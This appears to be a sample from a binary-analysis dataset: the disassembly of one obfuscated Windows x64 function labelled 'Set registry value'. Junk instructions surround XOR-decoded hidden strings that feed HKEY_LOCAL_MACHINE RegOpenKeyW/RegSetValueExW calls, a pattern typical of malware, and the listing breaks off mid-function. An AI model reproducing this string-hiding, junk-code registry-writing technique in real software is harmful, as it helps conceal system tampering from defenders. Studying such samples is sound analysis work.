Function at 0x1403fc633
Capabilities:
Set registry value

Disassembly:
push r15
xadd ah, ah
sar r15b, cl
shl ax, 9
push r14
push r13
push r12
xor r14b, 0xed
neg r15b
push rsi
xchg sil, r14b
or si, 0x2121
ror rsi, 0xd9
push rdi
cdqe
push rbp
adc ah, 0xa3
sar r14b, cl
cmp rdx, rsi
push rbx
movzx r13d, r10w
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
movzx bp, r14b
movzx r14, r13w
movzx r14d, ax
mov qword [rsp + 0x2e0], rax
movsx ebx, bx
mov qword [rsp + 0x40], rax
lahf
not r14d
cdqe
movabs rax, 0x2204bcb80ebea5a3
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x48], rax
bswap rbx
movsxd rdi, r13d
cbw
movabs rax, 0xfbc9f38de01f2fa2
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x50], rax
xchg r15b, bpl
movabs rax, 0x17a75ff95317a686
xchg r12b, dil
movzx ebx, r8w
sete bl
mov qword [rsp + 0x2c8], rax
mov dil, r13b
jmp 0x1403fc6ff
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
mov r15b, 0x49
movsx r15, r10w
jmp 0x1403fc71a
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x60], rax
movzx bp, r10b
movsx di, r10b
mov dil, dil
movabs rax, 0x4b3964fdcd447246
mov qword [rsp + 0x2b8], rax
xchg rbx, r12
movzx r13, di
not bp
mov qword [rsp + 0x68], rax
bswap r15w
cwde
movabs rax, 0xee88324679eb2227
movsx r13, si
mov qword [rsp + 0x2b0], rax
movzx edi, r8w
bswap r15d
mov qword [rsp + 0x70], rax
not r12
cwde
cmovne rsi, rdi
movabs rax, 0x6d7346ad6d4ffefa
mov esi, 0x681318bb
cmovns r12, r15
mov r12, r11
mov qword [rsp + 0x2a8], rax
movzx r13w, r12b
mov qword [rsp + 0x78], rax
lahf
not eax
movabs rax, 0xd093683aef376a76
not bpl
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
jmp 0x1403fc7e4
mov qword [rsp + 0x298], rax
movsx bp, r9b
xchg bpl, dil
mov qword [rsp + 0x88], rax
movzx r15d, r11w
cwde
cmove ebx, r14d
movabs rax, 0x33e730243394033e
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x90], rax
movzx r12, r10w
movabs rax, 0xe7e3977e114e6703
mov qword [rsp + 0x288], rax
movsxd rsi, r14d
movsx rdi, bx
movzx r13, r13w
mov qword [rsp + 0x98], rax
movabs rax, 0xb0b65ec58a603c8
setns r12b
mov qword [rsp + 0x280], rax
jmp 0x1403fc86c
mov qword [rsp + 0xa0], rax
jmp 0x1403fc879
movabs rax, 0x6708be65ca8156d7
mov sil, 0x10
xchg r13w, di
not r15w
mov qword [rsp + 0x278], rax
jmp 0x1403fc8a1
mov qword [rsp + 0xa8], rax
setp r14b
movsx ebp, sp
movabs rax, 0x46a7044da5524090
mov qword [rsp + 0x270], rax
movsx r15d, r11w
mov rdi, 0x14f617dc
mov qword [rsp + 0xb0], rax
cdqe
movzx eax, r11w
jmp 0x1403fc8e0
movabs rax, 0x4b8cb541ca050f46
mov r14w, r15w
movsx r15d, dx
movzx r12d, dx
mov qword [rsp + 0x268], rax
not r13w
movsxd rdi, r9d
mov qword [rsp + 0xb8], rax
not r15w
movzx bx, r15b
xchg r13w, r13w
movabs rax, 0xe627ab41184af921
movzx r14d, si
mov qword [rsp + 0x260], rax
xchg r12, rdi
mov qword [rsp + 0xc0], rax
xchg sil, r12b
mov bl, 0x5c
movabs rax, 0x34c77b6e31b9a
movsx rsi, bp
mov r13, rdi
mov qword [rsp + 0x258], rax
xchg r13b, r14b
setbe r14b
movsx bp, r15b
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8cf4ec0049852bb
jmp 0x1403fc97f
mov qword [rsp + 0xd0], rax
movzx rbp, r9w
cbw
movzx di, r12b
movabs rax, 0xa5eac9844f8ea419
bswap si
movsx r12w, r13b
mov r12b, 0x39
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0
movabs rbp, 0x2eb490333e21dae3
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
movzx ax, ch
movsx esi, bp
movzx eax, cx
mov qword [rsp + 0xe8], r14
movsx di, r9b
movsx ebx, r9w
cwde
movabs r15, 0xe05dec612491fd3d
cdqe
mov qword [rsp + 0x100], r15
movzx si, r15b
movsxd rbx, r12d
movsx ebx, cx
movabs r12, 0x2247bce40ef3a5e6
movsx r13d, r13w
movsx r13w, r13b
mov qword [rsp + 0x108], r12
setb dil
movabs rsi, 0xfbacf3ffe06d2fd7
bswap r13w
lahf
not di
mov qword [rsp + 0x110], rsi
movsx bx, r11b
movabs rdi, 0x17c85fba5363a6e8
mov bl, dil
movzx bx, r9b
movsx ebx, r9w
mov qword [rsp + 0x118], rdi
movabs rax, 0xfdf6d5258f21fa01
xchg r13w, bx
mov r13, r15
movsxd rbx, ebx
mov qword [rsp + 0x120], rax
movzx r13w, r11b
xchg r13b, bl
mov rbx, rax
movzx eax, r13w
movsxd r13, r10d
movzx r13w, dl
movabs rax, 0x4b4d6498cd17722a
movsx r13d, r8w
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x128], rax
movsx ax, r13b
lahf
movabs rax, 0xeefa322379b8227b
jmp 0x1403fcae2
mov qword [rsp + 0x250], rax
movsx r13d, r8w
bswap r13d
mov qword [rsp + 0x130], rax
cmovs r13, r15
movabs rax, 0x6d1646ce6d26fe8c
jmp 0x1403fcb15
mov qword [rsp + 0x248], rax
xchg r13b, r13b
movsx r13, bp
mov r13, 0x59a86e51
mov qword [rsp + 0x138], rax
movsx r13, r10w
cbw
movabs rax, 0xd0fb6869ef6b6a05
xchg r13b, r13b
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x140], rax
movsxd r13, r15d
movsx ax, dl
not r13b
movabs rax, 0xa86b938cd3598c0e
movzx r13w, sil
not r13w
movzx r13, r15w
mov qword [rsp + 0x238], rax
movsx r13w, r13b
mov qword [rsp + 0x148], rax
cmovo r13, r13
cwde
mov al, dl
movabs rax, 0x3382304733f7037f
movsx r13d, ax
mov r13b, sil
mov qword [rsp + 0x230], rax
bswap r13
mov qword [rsp + 0x150], rax
movsx rax, bx
movzx r13w, dl
cbw
movabs rax, 0xe7b39722113d6770
mov qword [rsp + 0x228], rax
mov r13b, r15b
movzx r13w, r14b
mov qword [rsp + 0x158], rax
movsx r13d, si
movabs rax, 0xb66658d58d403a9
mov r13w, 0x1534
mov qword [rsp + 0x220], rax
movsxd r13, esp
movzx r13, r14w
mov qword [rsp + 0x160], rax
movsx r13d, bp
movsx rax, bp
movzx r13, r10w
movabs rax, 0x677abe00caf556b2
movsx r13d, si
bswap r13w
mov qword [rsp + 0x218], rax
movsx r13, r8w
mov qword [rsp + 0x168], rax
bswap ax
movabs rax, 0x46ce040ba50e40e3
mov qword [rsp + 0x210], rax
cmovbe r13w, r11w
movsx r13d, sp
bswap r13
mov qword [rsp + 0x170], rax
movzx eax, r10w
movsx rax, sp
jmp 0x1403fcc76
movabs rax, 0x4bedb536ca600f34
mov qword [rsp + 0x208], rax
xchg r13w, r13w
jmp 0x1403fcc94
mov qword [rsp + 0x178], rax
mov r13b, 0x31
movabs rax, 0xe648ab111826f94d
not r13b
jmp 0x1403fccb1
mov qword [rsp + 0x200], rax
bswap r13w
movsx r13w, bl
setp r13b
mov qword [rsp + 0x180], rax
movzx r13w, cl
xchg r13b, r13b
movabs rax, 0x7a4c14b68a1bf6
mov r13b, 0xdb
setl r13b
xchg r13b, r13b
mov qword [rsp + 0x1f8], rax
jmp 0x1403fccfa
mov qword [rsp + 0x188], rax
movzx rax, r13w
lahf
cdqe
movabs rax, 0xd8a24eaf04dc52e7
movzx r13, bx
mov r13b, al
mov qword [rsp + 0x1f0], rax
movzx r13, ax
movsx r13d, bx
jmp 0x1403fcd2f
mov qword [rsp + 0x190], rax
movabs rax, 0xa5bac9ea4fe7a478
mov qword [rsp + 0x1e8], rax
cmovns r13d, esi
movsx r13d, sp
movzx r13d, bp
mov qword [rsp + 0x198], rax
movsx eax, r9w
movabs rax, 0x2edd90553e4eda91
mov qword [rsp + 0x1e0], rax
bswap r13w
mov r13b, dl
movsx r13w, bpl
mov qword [rsp + 0x1a0], rax
lahf
movabs rax, 0x28903e4866e9b93a
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1a8], rax
lea r13, [rsp + 0x100]
movsx eax, r8w
mov al, spl
not eax
mov rax, r13
jmp 0x1403fcdbb
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fcdd2
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403fcde0
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403fcdea
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403fcdf8
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403fce02
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fce18
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fce29
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fce36
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fce4f
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fce60
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fce6d
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fce7e
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fce8b
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fce9f
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fceac
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fcec0
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fcecd
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cqo
xchg cx, r8w
movzx r8d, r8w
lea rdx, [rsp + 0x40]
movsx r8w, bl
not cl
movzx r8d, si
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
jmp 0x1403fcf07
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403fcf1c
mov qword [rsp + 0x1d0], rax
jmp 0x1403fcf29
mov qword [rsp + 0x40], rax
movabs rax, 0x222ebca20e96a58a
mov qword [rsp + 0x1c8], rax
jmp 0x1403fcf45
mov qword [rsp + 0x48], rax
movsxd rax, r10d
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403fcf5c
mov qword [rsp + 0x2e8], rax
jmp 0x1403fcf69
mov qword [rsp + 0x50], rax
cwde
mov ah, 0xc8
movsx ax, r8b
movabs rax, 0x17c85fba530fa684
jmp 0x1403fcf86
mov qword [rsp + 0x1c0], rax
jmp 0x1403fcf93
mov qword [rsp + 0x58], rax
lahf
mov qword [rsp + 0x100], r15
movsx ax, r10b
jmp 0x1403fcfad
mov qword [rsp + 0x108], r12
jmp 0x1403fcfc2
mov qword [rsp + 0x110], rsi
cdqe
bswap ax
cbw
mov qword [rsp + 0x118], rdi
movsx ax, r14b
movzx rax, sp
mov rax, r13
jmp 0x1403fcfea
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fcff4
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fd001
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
lahf
setnp al
rdtsc
mov rcx, qword [rsp + 0x30]
rcl ah, 0xd
lea rax, [rsp + 0x3c]
or r9w, di
rol r9w, cl
mov qword [rsp + 0x20], rax
test r8b, cl
xor dl, r15b
mov dword [rsp + 0x28], 4
bts r9d, ebx
lea rdx, [rsp + 0x40]
sub r8d, r8d
not r9w
mov r9d, 4
jmp 0x1403fd058
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fd068
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fd07b
mov qword [rsp + 0x40], rax
movzx eax, cx
setb ah
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fd093
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
jmp 0x1403fd0ae
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
movsx rax, r14w
movsx ax, r9b
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fd0d1
mov qword [rsp + 0x60], rax
not ax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fd0e6
mov qword [rsp + 0x68], rax
cwde
cbw
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fd108
mov qword [rsp + 0x78], rax
lahf
movsx rax, ax
setns al
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fd122
mov qword [rsp + 0x80], rax
cbw
movsxd rax, r8d
mov rax, qword [rsp + 0x298]
jmp 0x1403fd13c
mov qword [rsp + 0x88], rax
not ax
cmovb ax, r15w
cdqe
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
not eax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
jmp 0x1403fd18d
mov qword [rsp + 0xa8], rax
bswap ax
mov rax, qword [rsp + 0x270]
jmp 0x1403fd1a5
mov qword [rsp + 0xb0], rax
movsxd rax, ebx
cdqe
setbe al
mov rax, qword [rsp + 0x268]
jmp 0x1403fd1c2
mov qword [rsp + 0xb8], rax
movsx ax, al
mov rax, qword [rsp + 0x260]
jmp 0x1403fd1db
mov qword [rsp + 0xc0], rax
movzx ax, dl
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
cmovs ax, bx
mov ah, 0x3d
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403fd20d
mov qword [rsp + 0xd0], rax
movsx ax, r9b
cdqe
movzx ax, spl
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403fd230
mov qword [rsp + 0xd8], rax
movsxd rax, r11d
mov qword [rsp + 0xe0], rbp
movsxd rbp, r10d
not ax
lahf
mov qword [rsp + 0xe8], r14
xchg ah, al
cmovle ebp, edi
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
movsx rax, r15w
mov ax, r11w
mov qword [rsp + 0x110], rsi
movsx r14d, bx
xchg al, bpl
movsxd rax, edx
mov qword [rsp + 0x118], rdi
cwde
xchg al, ah
movzx rbp, r9w
mov rbp, rbx
movzx rax, r9w
mov qword [rsp + 0x120], rbx
mov al, 0x14
mov r14, qword [rsp + 0x2f0]
jmp 0x1403fd2b2
mov qword [rsp + 0x128], r14
mov eax, 0x25f379e
cmovge eax, r12d
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
movsx rax, si
bswap ax
mov rax, qword [rsp + 0x248]
jmp 0x1403fd2e7
mov qword [rsp + 0x138], rax
not eax
movsx rax, bx
cmovbe ax, r9w
mov rax, qword [rsp + 0x240]
jmp 0x1403fd307
mov qword [rsp + 0x140], rax
movsxd rax, edx
movzx eax, r15w
mov rax, qword [rsp + 0x238]
jmp 0x1403fd323
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
jmp 0x1403fd338
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x228]
jmp 0x1403fd34d
mov qword [rsp + 0x158], rax
bswap rax
cbw
mov rax, qword [rsp + 0x220]
jmp 0x1403fd367
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x168], rax
movsx ax, r14b
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x170], rax
cwde
mov rax, qword [rsp + 0x208]
jmp 0x1403fd3a2
mov qword [rsp + 0x178], rax
movsx ax, r13b
cwde
mov rax, qword [rsp + 0x200]
jmp 0x1403fd3bd
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403fd3d2
mov qword [rsp + 0x188], rax
movzx eax, bp
cbw
movzx ax, r10b
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fd3f1
mov qword [rsp + 0x190], rax
cmovl rax, r13
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fd40a
mov qword [rsp + 0x198], rax
cbw
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a0], rax
movzx eax, dx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
xchg ah, ah
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fd446
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403fd450
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403fd45a
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403fd467
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fd471
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403fd47f
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403fd48d
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fd4af
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fd4c8
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fd4d5
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fd4e6
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fd4f3
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fd504
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fd511
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fd525
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fd541
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
mov r8, r15
movsxd r8, r15d
lea r8, [rsp + 0x30]
jmp 0x1403fd574
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movsx ebx, ax
mov qword [rsp + 0x40], rax
xchg ebx, ebx
movzx ax, dil
jmp 0x1403fd596
mov rax, qword [rsp + 0x1c8]
not bh
mov ebx, esp
mov qword [rsp + 0x48], rax
bswap eax
cwde
cmovns ax, cx
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
movsxd rax, ebx
movsx rax, r12w
mov rax, qword [rsp + 0x1c0]
jmp 0x1403fd5cf
mov qword [rsp + 0x58], rax
seta al
movsx rax, cx
bswap ax
mov qword [rsp + 0x100], r15
bswap ax
mov eax, 0x756a1089
mov qword [rsp + 0x108], r12
movzx rax, bx
mov qword [rsp + 0x110], rsi
cbw
mov qword [rsp + 0x118], rdi
movzx rax, si
not al
cdqe
mov rax, r13
jmp 0x1403fd61c
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fd62e
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fd638
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403fd646
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
btc edx, 0x3a
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov r9d, 4
jmp 0x1403fd674
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fd684
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fd697
mov qword [rsp + 0x40], rax
cdqe
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fd6ab
mov qword [rsp + 0x48], rax
bswap rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
nop
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fd6ce
mov qword [rsp + 0x58], rax
cwde
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fd6e1
mov qword [rsp + 0x60], rax
mov rax, r14
cdqe
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fd6f8
mov qword [rsp + 0x68], rax
movsx ax, r13b
bswap eax
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fd711
mov qword [rsp + 0x70], rax
not ax
movzx eax, r9w
mov al, r10b
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fd72d
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fd73f
mov qword [rsp + 0x80], rax
cdqe
mov ax, bx
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
bswap ax
nop
mov rax, qword [rsp + 0x290]
jmp 0x1403fd76e
mov qword [rsp + 0x90], rax
jmp 0x1403fd77e
mov rax, qword [rsp + 0x288]
jmp 0x1403fd78b
mov qword [rsp + 0x98], rax
movsxd rax, esi
mov rax, 0x46b67ea1
mov rax, qword [rsp + 0x280]
jmp 0x1403fd7aa
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
jmp 0x1403fd7bf
mov qword [rsp + 0xa8], rax
lahf
movsx eax, bx
jmp 0x1403fd7d0
mov rax, qword [rsp + 0x270]
jmp 0x1403fd7dd
mov qword [rsp + 0xb0], rax
movsx ax, r12b
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
jmp 0x1403fd807
mov qword [rsp + 0xc0], rax
movzx ax, r14b
movsxd rax, r10d
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
lahf
movzx rax, r12w
movabs rax, 0xd8c34edb048f52bb
mov qword [rsp + 0xd0], rax
cbw
cmovo ax, sp
movzx eax, dx
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403fd856
mov qword [rsp + 0xd8], rax
cbw
movsx eax, r11w
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403fd873
mov qword [rsp + 0xe0], rax
seta al
jmp 0x1403fd883
movabs rax, 0x28f53e246680b95c
jmp 0x1403fd892
mov qword [rsp + 0xe8], rax
cbw
movzx rax, ax
movsxd rax, ebx
mov qword [rsp + 0x100], r15
movzx ax, dil
movsx eax, r14w
movzx eax, r13w
mov qword [rsp + 0x108], r12
bswap ax
cwde
mov qword [rsp + 0x110], rsi
mov ax, 0x6007
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rbp
movsxd rax, esi
setne al
mov qword [rsp + 0x128], r14
movzx ax, dh
cdqe
mov al, dl
mov rax, qword [rsp + 0x250]
jmp 0x1403fd903
mov qword [rsp + 0x130], rax
lahf
setns ah
cdqe
mov rax, qword [rsp + 0x248]
jmp 0x1403fd91e
mov qword [rsp + 0x138], rax
lahf
cdqe
movzx rax, cx
mov rax, qword [rsp + 0x240]
jmp 0x1403fd93a
mov qword [rsp + 0x140], rax
cmovo eax, r12d
setb al
nop
mov rax, qword [rsp + 0x238]
jmp 0x1403fd958
mov qword [rsp + 0x148], rax
cmovge eax, ebp
movsx eax, ax
mov rax, qword [rsp + 0x230]
jmp 0x1403fd973
mov qword [rsp + 0x150], rax
setle ah
movzx ax, ch
movsx ax, r9b
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
jmp 0x1403fd9a4
mov qword [rsp + 0x160], rax
movsx rax, sp
lahf
cmovne eax, edi
mov rax, qword [rsp + 0x218]
jmp 0x1403fd9c1
mov qword [rsp + 0x168], rax
not ax
movsx eax, r11w
setno al
mov rax, qword [rsp + 0x210]
jmp 0x1403fd9e0
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1403fd9f5
mov qword [rsp + 0x178], rax
lahf
movzx rax, bp
cmovp rax, rsi
mov rax, qword [rsp + 0x200]
jmp 0x1403fda13